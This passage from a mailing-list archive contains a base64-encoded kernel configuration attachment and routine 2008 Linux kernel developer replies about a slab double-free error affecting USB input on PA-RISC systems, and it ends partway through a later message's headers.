WFQzX0ZTPXkKQ09ORklHX0VYVDNfRlNfWEFUVFI9eQojIENPTkZJR19FWFQzX0ZTX1BPU0lYX0FD
TCBpcyBub3Qgc2V0CkNPTkZJR19FWFQzX0ZTX1NFQ1VSSVRZPXkKQ09ORklHX0VYVDRfRlM9bQpD
T05GSUdfRVhUNERFVl9DT01QQVQ9eQpDT05GSUdfRVhUNF9GU19YQVRUUj15CkNPTkZJR19FWFQ0
X0ZTX1BPU0lYX0FDTD15CkNPTkZJR19FWFQ0X0ZTX1NFQ1VSSVRZPXkKQ09ORklHX0pCRD15CkNP
TkZJR19KQkQyPW0KQ09ORklHX0ZTX01CQ0FDSEU9eQpDT05GSUdfUkVJU0VSRlNfRlM9bQpDT05G
SUdfUkVJU0VSRlNfQ0hFQ0s9eQpDT05GSUdfUkVJU0VSRlNfUFJPQ19JTkZPPXkKIyBDT05GSUdf
UkVJU0VSRlNfRlNfWEFUVFIgaXMgbm90IHNldAojIENPTkZJR19KRlNfRlMgaXMgbm90IHNldApD
T05GSUdfRlNfUE9TSVhfQUNMPXkKQ09ORklHX0ZJTEVfTE9DS0lORz15CkNPTkZJR19YRlNfRlM9
eQpDT05GSUdfWEZTX1FVT1RBPXkKIyBDT05GSUdfWEZTX1BPU0lYX0FDTCBpcyBub3Qgc2V0CkNP
TkZJR19YRlNfUlQ9eQojIENPTkZJR19YRlNfREVCVUcgaXMgbm90IHNldAojIENPTkZJR19PQ0ZT
Ml9GUyBpcyBub3Qgc2V0CkNPTkZJR19ETk9USUZZPXkKQ09ORklHX0lOT1RJRlk9eQpDT05GSUdf
SU5PVElGWV9VU0VSPXkKQ09ORklHX1FVT1RBPXkKIyBDT05GSUdfUVVPVEFfTkVUTElOS19JTlRF
UkZBQ0UgaXMgbm90IHNldApDT05GSUdfUFJJTlRfUVVPVEFfV0FSTklORz15CkNPTkZJR19RRk1U
X1YxPW0KQ09ORklHX1FGTVRfVjI9bQpDT05GSUdfUVVPVEFDVEw9eQojIENPTkZJR19BVVRPRlNf
RlMgaXMgbm90IHNldAojIENPTkZJR19BVVRPRlM0X0ZTIGlzIG5vdCBzZXQKQ09ORklHX0ZVU0Vf
RlM9eQpDT05GSUdfR0VORVJJQ19BQ0w9eQoKIwojIENELVJPTS9EVkQgRmlsZXN5c3RlbXMKIwpD
T05GSUdfSVNPOTY2MF9GUz15CkNPTkZJR19KT0xJRVQ9eQpDT05GSUdfWklTT0ZTPXkKQ09ORklH
X1VERl9GUz15CkNPTkZJR19VREZfTkxTPXkKCiMKIyBET1MvRkFUL05UIEZpbGVzeXN0ZW1zCiMK
Q09ORklHX0ZBVF9GUz1tCkNPTkZJR19NU0RPU19GUz1tCkNPTkZJR19WRkFUX0ZTPW0KQ09ORklH
X0ZBVF9ERUZBVUxUX0NPREVQQUdFPTQzNwpDT05GSUdfRkFUX0RFRkFVTFRfSU9DSEFSU0VUPSJp
c284ODU5LTEiCiMgQ09ORklHX05URlNfRlMgaXMgbm90IHNldAoKIwojIFBzZXVkbyBmaWxlc3lz
dGVtcwojCkNPTkZJR19QUk9DX0ZTPXkKQ09ORklHX1BST0NfS0NPUkU9eQpDT05GSUdfUFJPQ19T
WVNDVEw9eQpDT05GSUdfUFJPQ19QQUdFX01PTklUT1I9eQpDT05GSUdfU1lTRlM9eQpDT05GSUdf
VE1QRlM9eQpDT05GSUdfVE1QRlNfUE9TSVhfQUNMPXkKIyBDT05GSUdfSFVHRVRMQl9QQUdFIGlz
IG5vdCBzZXQKQ09ORklHX0NPTkZJR0ZTX0ZTPW0KCiMKIyBNaXNjZWxsYW5lb3VzIGZpbGVzeXN0
ZW1zCiMKIyBDT05GSUdfQURGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0FGRlNfRlMgaXMgbm90
IHNldAojIENPTkZJR19FQ1JZUFRfRlMgaXMgbm90IHNldAojIENPTkZJR19IRlNfRlMgaXMgbm90
IHNldAojIENPTkZJR19IRlNQTFVTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfQkVGU19GUyBpcyBu
b3Qgc2V0CiMgQ09ORklHX0JGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0VGU19GUyBpcyBub3Qg
c2V0CiMgQ09ORklHX0NSQU1GUyBpcyBub3Qgc2V0CiMgQ09ORklHX1ZYRlNfRlMgaXMgbm90IHNl
dAojIENPTkZJR19NSU5JWF9GUyBpcyBub3Qgc2V0CiMgQ09ORklHX09NRlNfRlMgaXMgbm90IHNl
dAojIENPTkZJR19IUEZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfUU5YNEZTX0ZTIGlzIG5vdCBz
ZXQKIyBDT05GSUdfUk9NRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19TWVNWX0ZTIGlzIG5vdCBz
ZXQKIyBDT05GSUdfVUZTX0ZTIGlzIG5vdCBzZXQKQ09ORklHX05FVFdPUktfRklMRVNZU1RFTVM9
eQpDT05GSUdfTkZTX0ZTPXkKQ09ORklHX05GU19WMz15CiMgQ09ORklHX05GU19WM19BQ0wgaXMg
bm90IHNldAojIENPTkZJR19ORlNfVjQgaXMgbm90IHNldAojIENPTkZJR19ST09UX05GUyBpcyBu
b3Qgc2V0CkNPTkZJR19ORlNEPXkKQ09ORklHX05GU0RfVjM9eQojIENPTkZJR19ORlNEX1YzX0FD
TCBpcyBub3Qgc2V0CiMgQ09ORklHX05GU0RfVjQgaXMgbm90IHNldApDT05GSUdfTE9DS0Q9eQpD
T05GSUdfTE9DS0RfVjQ9eQpDT05GSUdfRVhQT1JURlM9eQpDT05GSUdfTkZTX0NPTU1PTj15CkNP
TkZJR19TVU5SUEM9eQojIENPTkZJR19TVU5SUENfUkVHSVNURVJfVjQgaXMgbm90IHNldAojIENP
TkZJR19SUENTRUNfR1NTX0tSQjUgaXMgbm90IHNldAojIENPTkZJR19SUENTRUNfR1NTX1NQS00z
IGlzIG5vdCBzZXQKQ09ORklHX1NNQl9GUz1tCiMgQ09ORklHX1NNQl9OTFNfREVGQVVMVCBpcyBu
b3Qgc2V0CkNPTkZJR19DSUZTPW0KQ09ORklHX0NJRlNfU1RBVFM9eQpDT05GSUdfQ0lGU19TVEFU
UzI9eQpDT05GSUdfQ0lGU19XRUFLX1BXX0hBU0g9eQojIENPTkZJR19DSUZTX1VQQ0FMTCBpcyBu
b3Qgc2V0CiMgQ09ORklHX0NJRlNfWEFUVFIgaXMgbm90IHNldAojIENPTkZJR19DSUZTX0RFQlVH
MiBpcyBub3Qgc2V0CiMgQ09ORklHX0NJRlNfRVhQRVJJTUVOVEFMIGlzIG5vdCBzZXQKIyBDT05G
SUdfTkNQX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfQ09EQV9GUyBpcyBub3Qgc2V0CiMgQ09ORklH
X0FGU19GUyBpcyBub3Qgc2V0CgojCiMgUGFydGl0aW9uIFR5cGVzCiMKIyBDT05GSUdfUEFSVElU
SU9OX0FEVkFOQ0VEIGlzIG5vdCBzZXQKQ09ORklHX01TRE9TX1BBUlRJVElPTj15CkNPTkZJR19O
TFM9eQpDT05GSUdfTkxTX0RFRkFVTFQ9Imlzbzg4NTktMSIKQ09ORklHX05MU19DT0RFUEFHRV80
Mzc9eQpDT05GSUdfTkxTX0NPREVQQUdFXzczNz1tCkNPTkZJR19OTFNfQ09ERVBBR0VfNzc1PW0K
Q09ORklHX05MU19DT0RFUEFHRV84NTA9bQpDT05GSUdfTkxTX0NPREVQQUdFXzg1Mj1tCkNPTkZJ
R19OTFNfQ09ERVBBR0VfODU1PW0KQ09ORklHX05MU19DT0RFUEFHRV84NTc9bQpDT05GSUdfTkxT
X0NPREVQQUdFXzg2MD1tCkNPTkZJR19OTFNfQ09ERVBBR0VfODYxPW0KQ09ORklHX05MU19DT0RF
UEFHRV84NjI9bQpDT05GSUdfTkxTX0NPREVQQUdFXzg2Mz1tCkNPTkZJR19OTFNfQ09ERVBBR0Vf
ODY0PW0KQ09ORklHX05MU19DT0RFUEFHRV84NjU9bQpDT05GSUdfTkxTX0NPREVQQUdFXzg2Nj1t
CkNPTkZJR19OTFNfQ09ERVBBR0VfODY5PW0KQ09ORklHX05MU19DT0RFUEFHRV85MzY9bQpDT05G
SUdfTkxTX0NPREVQQUdFXzk1MD1tCkNPTkZJR19OTFNfQ09ERVBBR0VfOTMyPW0KQ09ORklHX05M
U19DT0RFUEFHRV85NDk9bQpDT05GSUdfTkxTX0NPREVQQUdFXzg3ND1tCkNPTkZJR19OTFNfSVNP
ODg1OV84PW0KQ09ORklHX05MU19DT0RFUEFHRV8xMjUwPW0KQ09ORklHX05MU19DT0RFUEFHRV8x
MjUxPW0KQ09ORklHX05MU19BU0NJST15CkNPTkZJR19OTFNfSVNPODg1OV8xPXkKQ09ORklHX05M
U19JU084ODU5XzI9bQpDT05GSUdfTkxTX0lTTzg4NTlfMz1tCkNPTkZJR19OTFNfSVNPODg1OV80
PW0KQ09ORklHX05MU19JU084ODU5XzU9bQpDT05GSUdfTkxTX0lTTzg4NTlfNj1tCkNPTkZJR19O
TFNfSVNPODg1OV83PW0KQ09ORklHX05MU19JU084ODU5Xzk9bQpDT05GSUdfTkxTX0lTTzg4NTlf
MTM9bQpDT05GSUdfTkxTX0lTTzg4NTlfMTQ9bQpDT05GSUdfTkxTX0lTTzg4NTlfMTU9bQpDT05G
SUdfTkxTX0tPSThfUj1tCkNPTkZJR19OTFNfS09JOF9VPW0KQ09ORklHX05MU19VVEY4PXkKQ09O
RklHX0RMTT1tCiMgQ09ORklHX0RMTV9ERUJVRyBpcyBub3Qgc2V0CgojCiMgS2VybmVsIGhhY2tp
bmcKIwpDT05GSUdfUFJJTlRLX1RJTUU9eQpDT05GSUdfRU5BQkxFX1dBUk5fREVQUkVDQVRFRD15
CiMgQ09ORklHX0VOQUJMRV9NVVNUX0NIRUNLIGlzIG5vdCBzZXQKQ09ORklHX0ZSQU1FX1dBUk49
MTAyNApDT05GSUdfTUFHSUNfU1lTUlE9eQojIENPTkZJR19VTlVTRURfU1lNQk9MUyBpcyBub3Qg
c2V0CiMgQ09ORklHX0RFQlVHX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfSEVBREVSU19DSEVDSyBp
cyBub3Qgc2V0CkNPTkZJR19ERUJVR19LRVJORUw9eQojIENPTkZJR19ERUJVR19TSElSUSBpcyBu
b3Qgc2V0CiMgQ09ORklHX0RFVEVDVF9TT0ZUTE9DS1VQIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NI
RURfREVCVUcgaXMgbm90IHNldAojIENPTkZJR19TQ0hFRFNUQVRTIGlzIG5vdCBzZXQKQ09ORklH
X1RJTUVSX1NUQVRTPXkKIyBDT05GSUdfREVCVUdfT0JKRUNUUyBpcyBub3Qgc2V0CiMgQ09ORklH
X1NMVUJfREVCVUdfT04gaXMgbm90IHNldAojIENPTkZJR19TTFVCX1NUQVRTIGlzIG5vdCBzZXQK
IyBDT05GSUdfREVCVUdfUlRfTVVURVhFUyBpcyBub3Qgc2V0CiMgQ09ORklHX1JUX01VVEVYX1RF
U1RFUiBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX1NQSU5MT0NLIGlzIG5vdCBzZXQKIyBDT05G
SUdfREVCVUdfTVVURVhFUyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX1NQSU5MT0NLX1NMRUVQ
IGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfTE9DS0lOR19BUElfU0VMRlRFU1RTIGlzIG5vdCBz
ZXQKIyBDT05GSUdfREVCVUdfS09CSkVDVCBpcyBub3Qgc2V0CkNPTkZJR19ERUJVR19CVUdWRVJC
T1NFPXkKIyBDT05GSUdfREVCVUdfSU5GTyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX1ZNIGlz
IG5vdCBzZXQKIyBDT05GSUdfREVCVUdfV1JJVEVDT1VOVCBpcyBub3Qgc2V0CkNPTkZJR19ERUJV
R19NRU1PUllfSU5JVD15CiMgQ09ORklHX0RFQlVHX0xJU1QgaXMgbm90IHNldAojIENPTkZJR19E
RUJVR19TRyBpcyBub3Qgc2V0CiMgQ09ORklHX0JPT1RfUFJJTlRLX0RFTEFZIGlzIG5vdCBzZXQK
IyBDT05GSUdfUkNVX1RPUlRVUkVfVEVTVCBpcyBub3Qgc2V0CiMgQ09ORklHX1JDVV9DUFVfU1RB
TExfREVURUNUT1IgaXMgbm90IHNldAojIENPTkZJR19CQUNLVFJBQ0VfU0VMRl9URVNUIGlzIG5v
dCBzZXQKIyBDT05GSUdfREVCVUdfQkxPQ0tfRVhUX0RFVlQgaXMgbm90IHNldAojIENPTkZJR19G
QVVMVF9JTkpFQ1RJT04gaXMgbm90IHNldApDT05GSUdfU1lTQ1RMX1NZU0NBTExfQ0hFQ0s9eQoj
IENPTkZJR19GSVJFV0lSRV9PSENJX1JFTU9URV9ETUEgaXMgbm90IHNldAojIENPTkZJR19EWU5B
TUlDX1BSSU5US19ERUJVRyBpcyBub3Qgc2V0CiMgQ09ORklHX1NBTVBMRVMgaXMgbm90IHNldAoj
IENPTkZJR19ERUJVR19ST0RBVEEgaXMgbm90IHNldAoKIwojIFNlY3VyaXR5IG9wdGlvbnMKIwpD
T05GSUdfS0VZUz15CkNPTkZJR19LRVlTX0RFQlVHX1BST0NfS0VZUz15CkNPTkZJR19TRUNVUklU
WT15CiMgQ09ORklHX1NFQ1VSSVRZRlMgaXMgbm90IHNldApDT05GSUdfU0VDVVJJVFlfTkVUV09S
Sz15CkNPTkZJR19TRUNVUklUWV9ORVRXT1JLX1hGUk09eQojIENPTkZJR19TRUNVUklUWV9GSUxF
X0NBUEFCSUxJVElFUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NFQ1VSSVRZX1JPT1RQTFVHIGlzIG5v
dCBzZXQKQ09ORklHX1NFQ1VSSVRZX0RFRkFVTFRfTU1BUF9NSU5fQUREUj0wCiMgQ09ORklHX1NF
Q1VSSVRZX1NFTElOVVggaXMgbm90IHNldApDT05GSUdfWE9SX0JMT0NLUz1tCkNPTkZJR19BU1lO
Q19DT1JFPW0KQ09ORklHX0FTWU5DX01FTUNQWT1tCkNPTkZJR19BU1lOQ19YT1I9bQpDT05GSUdf
Q1JZUFRPPXkKCiMKIyBDcnlwdG8gY29yZSBvciBoZWxwZXIKIwojIENPTkZJR19DUllQVE9fRklQ
UyBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9fQUxHQVBJPXkKQ09ORklHX0NSWVBUT19BRUFEPXkK
Q09ORklHX0NSWVBUT19CTEtDSVBIRVI9eQpDT05GSUdfQ1JZUFRPX0hBU0g9eQpDT05GSUdfQ1JZ
UFRPX1JORz15CkNPTkZJR19DUllQVE9fTUFOQUdFUj15CkNPTkZJR19DUllQVE9fR0YxMjhNVUw9
bQpDT05GSUdfQ1JZUFRPX05VTEw9bQpDT05GSUdfQ1JZUFRPX0NSWVBURD1tCkNPTkZJR19DUllQ
VE9fQVVUSEVOQz1tCkNPTkZJR19DUllQVE9fVEVTVD1tCgojCiMgQXV0aGVudGljYXRlZCBFbmNy
eXB0aW9uIHdpdGggQXNzb2NpYXRlZCBEYXRhCiMKQ09ORklHX0NSWVBUT19DQ009bQpDT05GSUdf
Q1JZUFRPX0dDTT1tCkNPTkZJR19DUllQVE9fU0VRSVY9bQoKIwojIEJsb2NrIG1vZGVzCiMKQ09O
RklHX0NSWVBUT19DQkM9bQpDT05GSUdfQ1JZUFRPX0NUUj1tCiMgQ09ORklHX0NSWVBUT19DVFMg
aXMgbm90IHNldApDT05GSUdfQ1JZUFRPX0VDQj1tCkNPTkZJR19DUllQVE9fTFJXPW0KQ09ORklH
X0NSWVBUT19QQ0JDPW0KIyBDT05GSUdfQ1JZUFRPX1hUUyBpcyBub3Qgc2V0CgojCiMgSGFzaCBt
b2RlcwojCkNPTkZJR19DUllQVE9fSE1BQz15CiMgQ09ORklHX0NSWVBUT19YQ0JDIGlzIG5vdCBz
ZXQKCiMKIyBEaWdlc3QKIwpDT05GSUdfQ1JZUFRPX0NSQzMyQz1tCkNPTkZJR19DUllQVE9fTUQ0
PW0KQ09ORklHX0NSWVBUT19NRDU9eQpDT05GSUdfQ1JZUFRPX01JQ0hBRUxfTUlDPW0KIyBDT05G
SUdfQ1JZUFRPX1JNRDEyOCBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19STUQxNjAgaXMgbm90
IHNldAojIENPTkZJR19DUllQVE9fUk1EMjU2IGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1JN
RDMyMCBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9fU0hBMT15CkNPTkZJR19DUllQVE9fU0hBMjU2
PW0KQ09ORklHX0NSWVBUT19TSEE1MTI9bQpDT05GSUdfQ1JZUFRPX1RHUjE5Mj1tCkNPTkZJR19D
UllQVE9fV1A1MTI9bQoKIwojIENpcGhlcnMKIwpDT05GSUdfQ1JZUFRPX0FFUz1tCkNPTkZJR19D
UllQVE9fQU5VQklTPW0KQ09ORklHX0NSWVBUT19BUkM0PW0KQ09ORklHX0NSWVBUT19CTE9XRklT
SD1tCkNPTkZJR19DUllQVE9fQ0FNRUxMSUE9bQpDT05GSUdfQ1JZUFRPX0NBU1Q1PW0KQ09ORklH
X0NSWVBUT19DQVNUNj1tCkNPTkZJR19DUllQVE9fREVTPXkKQ09ORklHX0NSWVBUT19GQ1JZUFQ9
bQpDT05GSUdfQ1JZUFRPX0tIQVpBRD1tCkNPTkZJR19DUllQVE9fU0FMU0EyMD1tCiMgQ09ORklH
X0NSWVBUT19TRUVEIGlzIG5vdCBzZXQKQ09ORklHX0NSWVBUT19TRVJQRU5UPW0KQ09ORklHX0NS
WVBUT19URUE9bQpDT05GSUdfQ1JZUFRPX1RXT0ZJU0g9bQpDT05GSUdfQ1JZUFRPX1RXT0ZJU0hf
Q09NTU9OPW0KCiMKIyBDb21wcmVzc2lvbgojCkNPTkZJR19DUllQVE9fREVGTEFURT15CkNPTkZJ
R19DUllQVE9fTFpPPW0KCiMKIyBSYW5kb20gTnVtYmVyIEdlbmVyYXRpb24KIwojIENPTkZJR19D
UllQVE9fQU5TSV9DUFJORyBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19IVyBpcyBub3Qgc2V0
CgojCiMgTGlicmFyeSByb3V0aW5lcwojCkNPTkZJR19CSVRSRVZFUlNFPXkKQ09ORklHX0NSQ19D
Q0lUVD1tCkNPTkZJR19DUkMxNj15CkNPTkZJR19DUkNfVDEwRElGPXkKQ09ORklHX0NSQ19JVFVf
VD15CkNPTkZJR19DUkMzMj15CiMgQ09ORklHX0NSQzcgaXMgbm90IHNldApDT05GSUdfTElCQ1JD
MzJDPW0KQ09ORklHX0FVRElUX0dFTkVSSUM9eQpDT05GSUdfWkxJQl9JTkZMQVRFPXkKQ09ORklH
X1pMSUJfREVGTEFURT15CkNPTkZJR19MWk9fQ09NUFJFU1M9bQpDT05GSUdfTFpPX0RFQ09NUFJF
U1M9bQpDT05GSUdfVEVYVFNFQVJDSD15CkNPTkZJR19URVhUU0VBUkNIX0tNUD1tCkNPTkZJR19U
RVhUU0VBUkNIX0JNPW0KQ09ORklHX1RFWFRTRUFSQ0hfRlNNPW0KQ09ORklHX1BMSVNUPXkKQ09O
RklHX0hBU19JT01FTT15CkNPTkZJR19IQVNfSU9QT1JUPXkKQ09ORklHX0hBU19ETUE9eQo=

--MP_/uDzsQQcVTuFzxKyWlrvm4qh--
--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Kosina <jkosina@suse.cz>
Newsgroups: gmane.linux.kernel.input,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 2.6.28-rc2: USB/INPUT: slab error in cache_alloc_debugcheck_after():
 double free?
Date: Fri, 31 Oct 2008 16:27:48 +0100 (CET)
Lines: 21
Approved: news@gmane.org
Message-ID: <alpine.LNX.1.10.0810311626160.31273@jikos.suse.cz>
References: <200810310011.08618.deller@gmx.de> <20081031044553.50882e86@epia.jer-c2.orkz.net> <alpine.LRH.1.10.0810311254400.7585@twin.jikos.cz> <20081031161640.16f20fd1@epia.jer-c2.orkz.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1225466888 18660 80.91.229.12 (31 Oct 2008 15:28:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Oct 2008 15:28:08 +0000 (UTC)
Cc: linux-input@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-input-owner@vger.kernel.org Fri Oct 31 16:29:10 2008
connect(): Connection refused
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kvvvo-0005HT-9X
	for glki-linux-input-2@gmane.org; Fri, 31 Oct 2008 16:29:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751536AbYJaP1v (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Fri, 31 Oct 2008 11:27:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751382AbYJaP1u
	(ORCPT <rfc822;linux-input-outgoing>);
	Fri, 31 Oct 2008 11:27:50 -0400
Original-Received: from styx.suse.cz ([82.119.242.94]:49910 "EHLO mail.suse.cz"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1751267AbYJaP1u (ORCPT <rfc822;linux-input@vger.kernel.org>);
	Fri, 31 Oct 2008 11:27:50 -0400
Original-Received: from jikos.suse.cz (jikos.suse.cz [10.20.1.64])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mail.suse.cz (Postfix) with ESMTP id 051D2628085;
	Fri, 31 Oct 2008 16:27:49 +0100 (CET)
In-Reply-To: <20081031161640.16f20fd1@epia.jer-c2.orkz.net>
User-Agent: Alpine 1.10 (LNX 962 2008-03-14)
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:5898 gmane.linux.kernel:751861 gmane.linux.ports.parisc:819
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/819>

On Fri, 31 Oct 2008, Jeroen Roovers wrote:

> > Could you please provide your config? I am still not able to reproduce 
> > it here. Thanks.
> Added to the bug report[1]. The architecture is hppa (parisc).

Hmm, so we have just two reports of this corruption, and both of them come 
from PA-RISC systems. Noone else has reported this, and I haven't been 
able to reproduce it myself on x86.

On the other hand I don't seem to see any commit that went into 
arch/parisc between .27 and 28-rc1 which could possibly cause this...

-- 
Jiri Kosina
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jirislaby@gmail.com>
Newsgroups: gmane.linux.kernel.input,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 2.6.28-rc2: USB/INPUT: slab error in cache_alloc_debugcheck_after():
 double free?
Date: Fri, 31 Oct 2008 20:45:51 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <490B606F.3010100@gmail.com>
References: <200810310011.08618.deller@gmx.de> <20081031044553.50882e86@epia.jer-c2.orkz.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1225482398 9832 80.91.229.12 (31 Oct 2008 19:46:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Oct 2008 19:46:38 +0000 (UTC)
Cc: linux-input@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-input-owner@vger.kernel.org Fri Oct 31 20:47:40 2008
connect(): Connection refused
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kvzy2-0003MU-KQ
	for glki-linux-input-2@gmane.org; Fri, 31 Oct 2008 20:47:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752044AbYJaTqZ (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Fri, 31 Oct 2008 15:46:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751827AbYJaTqZ
	(ORCPT <rfc822;linux-input-outgoing>);
	Fri, 31 Oct 2008 15:46:25 -0400
Original-Received: from ug-out-1314.google.com ([66.249.92.173]:57652 "EHLO
	ug-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751133AbYJaTqY (ORCPT
	<rfc822;linux-input@vger.kernel.org>);
	Fri, 31 Oct 2008 15:46:24 -0400
Original-Received: by ug-out-1314.google.com with SMTP id 39so1352412ugf.37
        for <multiple recipients>; Fri, 31 Oct 2008 12:45:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from
         :user-agent:mime-version:to:cc:subject:references:in-reply-to
         :x-enigmail-version:content-type:content-transfer-encoding;
        bh=GLeYFVMjN+TqpmZ9VXJuLoTi/eVl2eJHWkPLrYgzsns=;
        b=INGZRf/0p08zgWf0/UsERfBYKxgDBbAhETbukeppLbnMBEs+1cchxveH2ALXWiafUI
         g6rlFro9QYjpM1KpDVEtnWvOpuRaEhUNXS3d3wZAIW0VWW4hcyJBRbJbn0hJ/+53FtqJ
         4S/dzYHPjie8wORp6yNE8HTeg3WqPoiuruANI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:x-enigmail-version:content-type
         :content-transfer-encoding;
        b=oKveKMIT6uNCmNrJJCl7NmMHFLDydxn2ob1q7cr6u0f18Z/JYvmP2hMeKOP3EhELn4
         tGF3Ih+S5dZ2QJxyImyGBfymxevcsTVJKdgX0DisFPYXSa/Uwee50o5pivH5rKy8645x
         fHZo9sjprBDcgM9mwa1SAUnaziEOtdo4r4ir8=
Original-Received: by 10.103.24.11 with SMTP id b11mr5723490muj.77.1225482355151;
        Fri, 31 Oct 2008 12:45:55 -0700 (PDT)
Original-Received: from ?192.168.2.129? ([88.208.94.142])
        by mx.google.com with ESMTPS id g1sm13224312muf.8.2008.10.31.12.45.52
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 31 Oct 2008 12:45:53 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.17 (X11/20080922)
In-Reply-To: <20081031044553.50882e86@epia.jer-c2.orkz.net>
X-Enigmail-Version: 0.95.6
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:5899 gmane.linux.kernel:751948 gmane.linux.ports.parisc:820
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/820>

On 10/31/2008 04:45 AM, Jeroen Roovers wrote:
> I am seeing the same USB problem but without the SLAB errors - [1] is
> the Gentoo bug report. The kernel boots fine with both USB keyboard and
> mouse detached.
> 
> 
> [17179609.760000] usb 1-2: configuration #1 chosen from 1 choice
> [17179609.860000] input: Kensington Kensington USB/PS2 Trackball as
> /class/inpu1
> [17179609.972000] Backtrace:

Could you boot with slub_debug kernel parameter?
--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: remove dead BIO_VMERGE_BOUNDARY and
	BIO_VMERGE_MAX_SIZE definitions
Date: Sat, 1 Nov 2008 10:59:31 -0600
Lines: 90
Approved: news@gmane.org
Message-ID: <20081101165931.GC13302@colo.lackof.org>
References: <20081024143826Z.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1225558793 30563 80.91.229.12 (1 Nov 2008 16:59:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Nov 2008 16:59:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, jens.axboe@oracle.com,
